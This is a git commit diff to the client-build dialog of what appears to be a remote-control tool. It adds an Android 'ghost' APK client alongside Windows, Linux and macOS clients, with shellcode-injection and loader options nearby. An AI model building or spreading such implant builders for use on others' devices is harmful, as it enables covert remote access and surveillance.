Feat: Client build dialog support building Android application

This commit is contained in:
yuanyuanxiang
2026-06-25 13:27:15 +02:00
parent 5296e534ed
commit d7408ad4df
12 changed files with 156 additions and 7 deletions

View File

@@ -29,6 +29,7 @@ enum Index {
IndexTestRunMsc,
IndexLinuxGhost,
IndexMacGhost,
IndexAndroidGhost,
OTHER_ITEM
};
@@ -160,7 +161,8 @@ namespace ResFileName {
const char* GHOST_X86 = "ghost_x86.exe";
const char* GHOST_X64 = "ghost_x64.exe";
const char* GHOST_LINUX = "ghost_linux";
const char* GHOST_MACOS = "ghost_macos"; // 预留
const char* GHOST_MACOS = "ghost_macos";
const char* GHOST_ANDROID = "ghost_android";
// TestRun 加载器
const char* TESTRUN_X86 = "testrun_x86.dll";
const char* TESTRUN_X64 = "testrun_x64.dll";
@@ -418,7 +420,7 @@ void CBuildDlg::OnBnClickedOk()
MessageBoxL("Shellcode 只能向64位电脑注入注入器也只能是64位!", "提示", MB_ICONWARNING);
return;
}
if (index == IndexLinuxGhost || index == IndexMacGhost) {
if (index == IndexLinuxGhost || index == IndexMacGhost || index == IndexAndroidGhost) {
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
m_SliderClientSize.SetPos(0);
}
@@ -485,6 +487,12 @@ void CBuildDlg::OnBnClickedOk()
typ = CLIENT_TYPE_MACOS;
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
break;
case IndexAndroidGhost: {
file = "ghost.apk";
typ = CLIENT_TYPE_ANDROID;
szBuffer = ReadResource(IDR_ANDROID_GHOST, dwFileSize, ResFileName::GHOST_ANDROID);
break;
}
case OTHER_ITEM: {
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
m_OtherItem.GetWindowTextA(file);
@@ -719,6 +727,14 @@ void CBuildDlg::OnBnClickedOk()
successMsg += "\r\n";
successMsg += _TR("或手动重签:") + " codesign --force --sign - ghost";
}
// Android APK 被 patch 后签名失效,必须用 apksigner 重签才能安装。
if (typ == CLIENT_TYPE_ANDROID) {
successMsg += "\r\n\r\n";
successMsg += _TR("提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。");
successMsg += "\r\n";
successMsg += _TR("重签命令 (需 Android SDK build-tools):");
successMsg += "\r\napksigner sign --ks yama-release.jks --ks-pass env:YAMA_PWD ghost.apk";
}
MessageBoxL(successMsg, "提示", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(szBuffer);
@@ -784,6 +800,7 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务");
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
m_ComboExe.InsertStringL(IndexAndroidGhost, "ghost - Google Android");
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
@@ -912,7 +929,7 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
void CBuildDlg::OnCbnSelchangeComboExe()
{
auto n = m_ComboExe.GetCurSel();
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost));
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost || n == IndexAndroidGhost));
if (n == OTHER_ITEM) {
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
if (!name.IsEmpty()) {